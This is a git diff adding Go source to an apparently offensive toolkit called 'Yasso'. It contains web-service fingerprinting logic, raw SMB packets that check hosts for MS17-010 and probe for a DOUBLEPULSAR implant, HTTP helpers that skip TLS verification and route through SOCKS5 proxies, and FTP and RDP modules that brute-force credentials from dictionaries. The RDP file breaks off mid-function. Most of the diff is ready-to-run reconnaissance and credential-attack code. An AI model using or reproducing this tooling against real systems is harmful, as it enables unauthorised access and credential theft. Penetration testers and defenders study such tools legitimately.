len(regexp.MustCompile("ico").FindAllStringIndex(all_type[1], -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + if rule.Mode == "or|and" { + grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)") + all_type := grep.FindStringSubmatch(rule.Type) + //Println(all_type) + if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + } else { // Default Request Result + url = DefaultTarget + Favicon = DefaultFavicon + RespBody = DefaultRespBody + RespHeader = DefaultRespHeader + RespCode = DefaultRespCode + RespTitle = DefaultRespTitle + // If the http request fails, then RespBody and RespHeader are both null + // At this time, it is considered that the url does not exist + if RespBody == RespHeader { + continue + } + if rule.Mode == "" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + if rule.Mode == "or" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + if rule.Mode == "and" { + index := 0 + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + index = index + 1 + } + } + if index == 2 { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + } + } + if rule.Mode == "and|and" { + index := 0 + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + index = index + 1 + } + } + if index == 3 { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + } + } + if rule.Mode == "or|or" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + if rule.Mode == "and|or" { + grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)") + allType := grep.FindStringSubmatch(rule.Type) + //Println(all_type) + if len(regexp.MustCompile("header").FindAllStringIndex(allType[1], -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(allType[1], -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(allType[1], -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + if rule.Mode == "or|and" { + grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)") + all_type := grep.FindStringSubmatch(rule.Type) + //Println(all_type) + if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + } + } + // identify + if RequestRule == "DefaultRequest" { + RespBody = DefaultRespBody + RespHeader = DefaultRespHeader + RespCode = DefaultRespCode + RespTitle = DefaultRespTitle + url = DefaultTarget + } else if RequestRule == "CustomRequest" { + url = CustomTarget + RespBody = CustomRespBody + RespHeader = CustomRespHeader + RespCode = CustomRespCode + RespTitle = CustomRespTitle + } + var identifyResult string + var identifyResultNocolor string + for _, result := range identifyData { + if runtime.GOOS == "windows" { + identifyResult += "["+result+"]"+" " + } else { + identifyResult += "["+result+"]"+" " + } + } + for _, result := range identifyData { + identifyResultNocolor += "["+result+"]"+" " + } + + Result := []IdentifyResult{ + {successType, RespCode, identifyResult, identifyResultNocolor, url, RespTitle}, + } + return Result +} + +func checkHeader(url, responseHeader string, ruleHeader string, name string, title string, RespCode string) bool { + grep := regexp.MustCompile("(?i)"+ ruleHeader) + if len(grep.FindStringSubmatch(responseHeader)) != 0 { + //fmt.Print("[header] ") + return true + } else { + return false + } +} + +func checkBody(url, responseBody string, ruleBody string, name string, title string, RespCode string) bool { + grep := regexp.MustCompile("(?i)"+ ruleBody) + if len(grep.FindStringSubmatch(responseBody)) != 0 { + //fmt.Print("[body] ") + return true + } else { + return false + } +} + +func checkFavicon(Favicon, ruleFaviconMd5 string) bool { + grep := regexp.MustCompile("(?i)"+ ruleFaviconMd5) + if len(grep.FindStringSubmatch(Favicon)) != 0 { + // fmt.Print("url") + return true + } else { + return false + } +} \ No newline at end of file diff --git a/cmd/eternalblue.go b/cmd/eternalblue.go new file mode 100644 index 0000000..1dec310 --- /dev/null +++ b/cmd/eternalblue.go @@ -0,0 +1,139 @@ +package cmd + +import ( + "Yasso/config" + "encoding/binary" + "encoding/hex" + "fmt" + "net" + "strings" + "time" +) + +//TODO:MS17010 + + +var ( + negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200") + sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000") + treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00") + transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00") + trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000") +) +func Ms17010Conn(info config.HostIn) { + conn, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut) + if err != nil { + //Println()("[!] New Connect failed",err) + return + } + status, err := RequestMs17010(conn,info.Host) + if err != nil { + //Println()("[!] Request Ms17010 failed",err) + return + } + if status == true { + return + } +} + + + +func RequestMs17010(conn net.Conn,ip string)(bool,error) { + defer conn.Close() + err := conn.SetDeadline(time.Now().Add(TimeDuration)) + if err != nil { + return false,err + } + _, err = conn.Write(negotiateProtocolRequest) + if err != nil { + return false,err + } + reply := make([]byte,1024) + if n, err := conn.Read(reply); err != nil || n < 36 { + return false,err + } + if binary.LittleEndian.Uint32(reply[9:13]) !=0 { + return false,err + } + _, err = conn.Write(sessionSetupRequest) + if err != nil { + return false,err + } + n, err := conn.Read(reply) + if err != nil || n < 36 { + return false,err + } + if binary.LittleEndian.Uint32(reply[9:13]) != 0 { + // status != 0 + //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip) + return false,fmt.Errorf("can't determine whether %s is vulnerable or not\n", ip) + } + + // extract OS info + var os string + sessionSetupResponse := reply[36:n] + if wordCount := sessionSetupResponse[0]; wordCount != 0 { + // find byte count + byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) + if n != int(byteCount)+45 { + Println("invalid session setup AndX response") + } else { + // two continous null bytes indicates end of a unicode string + for i := 10; i < len(sessionSetupResponse)-1; i++ { + if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { + os = string(sessionSetupResponse[10:i]) + os = strings.Replace(os, string([]byte{0x00}), "",-1) + break + } + } + } + + } + userID := reply[32:34] + treeConnectRequest[32] = userID[0] + treeConnectRequest[33] = userID[1] + // TODO change the ip in tree path though it doesn't matter + conn.Write(treeConnectRequest) + + if n, err := conn.Read(reply); err != nil || n < 36 { + return false,err + } + + treeID := reply[28:30] + transNamedPipeRequest[28] = treeID[0] + transNamedPipeRequest[29] = treeID[1] + transNamedPipeRequest[32] = userID[0] + transNamedPipeRequest[33] = userID[1] + + conn.Write(transNamedPipeRequest) + if n, err := conn.Read(reply); err != nil || n < 36 { + return false,err + } + + if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { + //fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) + //if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) + //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} + //color.Magenta("%s\tMS17-010\t(%s)\n", ip, os) + Println(fmt.Sprintf("[+] %v Find MS17010 (%s)",ip,os)) + // detect present of DOUBLEPULSAR SMB implant + trans2SessionSetupRequest[28] = treeID[0] + trans2SessionSetupRequest[29] = treeID[1] + trans2SessionSetupRequest[32] = userID[0] + trans2SessionSetupRequest[33] = userID[1] + + conn.Write(trans2SessionSetupRequest) + + if n, err := conn.Read(reply); err != nil || n < 36 { + return false,err + } + + if reply[34] == 0x51 { + fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip) + } + return true,nil + } else { + fmt.Printf("%s\t \t(%s)\n", ip, os) + } + return false,nil +} \ No newline at end of file diff --git a/cmd/fasthttp.go b/cmd/fasthttp.go new file mode 100644 index 0000000..8bb11f5 --- /dev/null +++ b/cmd/fasthttp.go @@ -0,0 +1,423 @@ +package cmd + +import ( + "Yasso/config" + "bytes" + "crypto/md5" + "crypto/tls" + "fmt" + "golang.org/x/net/proxy" + "golang.org/x/text/encoding/simplifiedchinese" + "io/ioutil" + "net/http" + "net/url" + "path" + "regexp" + "strconv" + "strings" + "time" + "unicode/utf8" +) + +//TODO: dismap RespLab + +type RespLab struct { + Url string + RespBody string + RespHeader string + RespStatusCode string + RespTitle string + FaviconMd5 string +} + +func FaviconMd5(Url string, timeout time.Duration, Path string) string { + var dial proxy.Dialer + var client *http.Client + if ProxyHost != "" { + dial ,_ = ConnBySOCKS5() + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + + Url = Url + "/favicon.ico" + req, err := http.NewRequest("GET", Url, nil) + if err != nil { + return "" + } + for key, value := range config.DefaultHeader { + req.Header.Set(key, value) + } + //req.Header.Set("Accept-Language", "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6") + //req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") + //req.Header.Set("Cookie", "rememberMe=int") + resp, err := client.Do(req) + if err != nil { + return "" + } + defer resp.Body.Close() + body_bytes, err := ioutil.ReadAll(resp.Body) + hash := md5.Sum(body_bytes) + md5 := fmt.Sprintf("%x", hash) + return md5 +} + +func DefaultRequests(Url string, timeout time.Duration)[]RespLab{ + + var redirect_url string + var resp_title string + var response_header string + var response_body string + var response_status_code string + var res []string + + // 设置http请求客户端 + var dial proxy.Dialer + var client *http.Client + if ProxyHost != "" { + dial ,_ = ConnBySOCKS5() + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + + req, err := http.NewRequest("GET",Url,nil) + if err != nil { + return nil + } + // 设置默认请求头 + for key,value := range config.DefaultHeader { + req.Header.Set(key,value) + } + // 做http请求 + resp, err := client.Do(req) + if err != nil { + return nil + } + defer resp.Body.Close() + + // 获取请求的状态马 + var status_code = resp.StatusCode + response_status_code = strconv.Itoa(status_code) + + //TODO: 根据请求来拦截状态码,如果是30x则需要拦截url进行重定向 + + if len(regexp.MustCompile("30").FindAllStringIndex(response_status_code, -1)) == 1 { + // 进行重定向 + redirect_path := resp.Header.Get("Location") // 拦截url进行重定向请求 + if len(regexp.MustCompile("http").FindAllStringIndex(redirect_path, -1)) == 1 { + redirect_url = redirect_path + } else { + redirect_url = Url + redirect_path + } + var client *http.Client + if ProxyHost != ""{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + // 设置重定向请求 + req, err := http.NewRequest("GET",redirect_url,nil) + if err != nil { + return nil + } + for key,value := range config.DefaultHeader { + req.Header.Set(key,value) + } + resp, err := client.Do(req) + if err != nil { + return nil + } + defer resp.Body.Close() + + //TODO: 解决两次的30x跳转问题 + var twoStatusCode = resp.StatusCode + responseStatusCodeTwo := strconv.Itoa(twoStatusCode) + if len(regexp.MustCompile("30").FindAllStringIndex(responseStatusCodeTwo, -1)) == 1 { + redirectPath := resp.Header.Get("Location") + if len(regexp.MustCompile("http").FindAllStringIndex(redirectPath, -1)) == 1 { + redirect_url = redirectPath + } else { + redirect_url = Url + redirectPath + } + var client *http.Client + if ProxyHost != "" { + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + req, err := http.NewRequest("GET", redirect_url, nil) + if err != nil { + return nil + } + for key,value := range config.DefaultHeader { + req.Header.Set(key, value) + } + resp, err := client.Do(req) + if err != nil { + return nil + } + defer resp.Body.Close() + // get response body for string + bodyBytes, err := ioutil.ReadAll(resp.Body) + response_body = string(bodyBytes) + // Solve the problem of garbled body codes with unmatched numbers + if !utf8.Valid(bodyBytes) { + data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes) + response_body = string(data) + } + // Get Response title + grepTitle := regexp.MustCompile("(.*)") + if len(grepTitle.FindStringSubmatch(response_body)) != 0 { + resp_title = grepTitle.FindStringSubmatch(response_body)[1] + } else { + resp_title = "None" + } + for name,values := range resp.Header { + for _,value := range values { + res = append(res, fmt.Sprintf("%s: %s", name, value)) + } + } + for _,re := range res { + response_header += re + "\n" + } + favicon5 := FaviconMd5(Url, timeout, "") + RespData := []RespLab{ + {redirect_url, response_body, response_header, response_status_code, resp_title, favicon5}, + } + return RespData + } + // get response body for string + body_bytes, err := ioutil.ReadAll(resp.Body) + response_body = string(body_bytes) + // Solve the problem of garbled body codes with unmatched numbers + if !utf8.Valid(body_bytes) { + data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes) + response_body = string(data) + } + // Get Response title + grep_title := regexp.MustCompile("(.*)") + if len(grep_title.FindStringSubmatch(response_body)) != 0 { + resp_title = grep_title.FindStringSubmatch(response_body)[1] + } else { + resp_title = "None" + } + // get response header for string + for name, values := range resp.Header { + for _, value := range values { + res = append(res, fmt.Sprintf("%s: %s", name, value)) + } + } + for _, re := range res { + response_header += re + "\n" + } + favicon5 := FaviconMd5(Url, timeout, "") + RespData := []RespLab{ + {redirect_url, response_body, response_header, response_status_code, resp_title, favicon5}, + } + return RespData + } + // get response body for string + bodyBytes, err := ioutil.ReadAll(resp.Body) + response_body = string(bodyBytes) + // Solve the problem of garbled body codes with unmatched numbers + if !utf8.Valid(bodyBytes) { + data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes) + response_body = string(data) + } + + // Get Response title + grep_title := regexp.MustCompile("(.*)") + if len(grep_title.FindStringSubmatch(response_body)) != 0 { + resp_title = grep_title.FindStringSubmatch(response_body)[1] + } else { + resp_title = "None" + } + // get response header for string + for name, values := range resp.Header { + for _, value := range values { + res = append(res, fmt.Sprintf("%s: %s", name, value)) + } + } + for _, re := range res { + response_header += re + "\n" + } + faviconmd5 := FaviconMd5(Url, timeout, "") + RespData := []RespLab{ + {Url, response_body, response_header, response_status_code, resp_title, faviconmd5}, + } + return RespData +} + + +func CustomRequests(Url string, timeout time.Duration, Method string, Path string, Header []string, Body string) []RespLab { + var respTitle string + // Splicing Custom Path + u, err := url.Parse(Url) + u.Path = path.Join(u.Path, Path) + Url = u.String() + if strings.HasSuffix(Path, "/") { + Url = Url + "/" + } + + var client *http.Client + var dial proxy.Dialer + if ProxyHost != "" { + dial ,_ = ConnBySOCKS5() + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig:&tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig:&tls.Config{InsecureSkipVerify: true}, + }, + } + } + + // Send Http requests + + body_byte := bytes.NewBuffer([]byte(Body)) + req, err := http.NewRequest(Method, Url, body_byte) + if err != nil { + return nil + } + + // Set Requests Headers + for _, header := range Header { + grep_key := regexp.MustCompile("(.*): ") + var header_key = grep_key.FindStringSubmatch(header)[1] + grep_value := regexp.MustCompile(": (.*)") + var header_value = grep_value.FindStringSubmatch(header)[1] + req.Header.Set(header_key, header_value) + } + resp, err := client.Do(req) + if err != nil { + return nil + } + defer resp.Body.Close() + // Get Response Body for string + body_bytes, err := ioutil.ReadAll(resp.Body) + var response_body = string(body_bytes) + // Solve the problem of garbled body codes with unmatched numbers + if !utf8.Valid(body_bytes) { + data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes) + response_body = string(data) + } + // Get Response title + grep_title := regexp.MustCompile("(.*)") + if len(grep_title.FindStringSubmatch(response_body)) != 0 { + respTitle = grep_title.FindStringSubmatch(response_body)[1] + } else { + respTitle = "None" + } + // Get Response Header for string + var res []string + for name, values := range resp.Header { + for _, value := range values { + res = append(res, fmt.Sprintf("%s: %s", name, value)) + } + } + var response_header string + for _, re := range res { + response_header += re + "\n" + } + // get response status code + var status_code = resp.StatusCode + response_status_code := strconv.Itoa(status_code) + RespData := []RespLab{ + {Url, response_body, response_header, response_status_code, respTitle, ""}, + } + return RespData +} + +//dismap 解析IP + +func ParseUrl (host string,port string) string { + if port == "80" { + return "http://" + host + } else if port == "443"{ + return "https://" + host + } else if len(regexp.MustCompile("443").FindAllStringIndex(port, -1)) == 1 { + return "https://" + host + ":" + port + } else { + return "http://" + host + ":" + port + } +} \ No newline at end of file diff --git a/cmd/ftp.go b/cmd/ftp.go new file mode 100644 index 0000000..13b3fe2 --- /dev/null +++ b/cmd/ftp.go @@ -0,0 +1,62 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/jlaffaye/ftp" + "github.com/spf13/cobra" + "time" +) + + + +var FtpCmd = &cobra.Command{ + Use: "ftp", + Short: "ftp burst module (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == ""{ + _ = cmd.Help() + }else{ + BruteFtpByUser() + } + }, +} + + +func BruteFtpByUser(){ + if BrutePort == 0 { + BrutePort = 21 + } + var ips []string + var err error + if Hosts != ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("ftp",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [ftp]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("ftp",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + +func FtpConn(info config.HostIn,user,pass string)(bool,error){ + var flag = false + c, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),time.Duration(info.TimeOut)) + + conn, err := ftp.Dial(fmt.Sprintf("%v:%v",info.Host,info.Port),ftp.DialWithNetConn(c)) + if err == nil { + err = conn.Login(user,pass) + if err == nil { + flag = true + } + } + return flag,err +} \ No newline at end of file diff --git a/cmd/grdp.go b/cmd/grdp.go new file mode 100644 index 0000000..68df675 --- /dev/null +++ b/cmd/grdp.go @@ -0,0 +1,167 @@ +package cmd + +import ( + "Yasso/config" + "errors" + "fmt" + "github.com/spf13/cobra" + "github.com/tomatome/grdp/core" + "github.com/tomatome/grdp/glog" + "github.com/tomatome/grdp/protocol/nla" + "github.com/tomatome/grdp/protocol/pdu" + "github.com/tomatome/grdp/protocol/rfb" + "github.com/tomatome/grdp/protocol/sec" + "github.com/tomatome/grdp/protocol/t125" + "github.com/tomatome/grdp/protocol/tpkt" + "github.com/tomatome/grdp/protocol/x224" + "log" + "os" + "sync" + "time" +) +var ( + BruteDomain string +) +var RdpCmd = &cobra.Command{ + Use: "grdp", + Short: "RDP burst module (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == ""{ + _ = cmd.Help() + }else{ + BruteRdpByUser() + } + }, +} + +func init() { + RdpCmd.Flags().StringVar(&BruteDomain,"domain","","set host domain") +} + +func BruteRdpByUser(){ + if BrutePort == 0 { + BrutePort = 3389 + } + var ips []string + var err error + if Hosts != "" { + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("rdp",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [rdp]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + 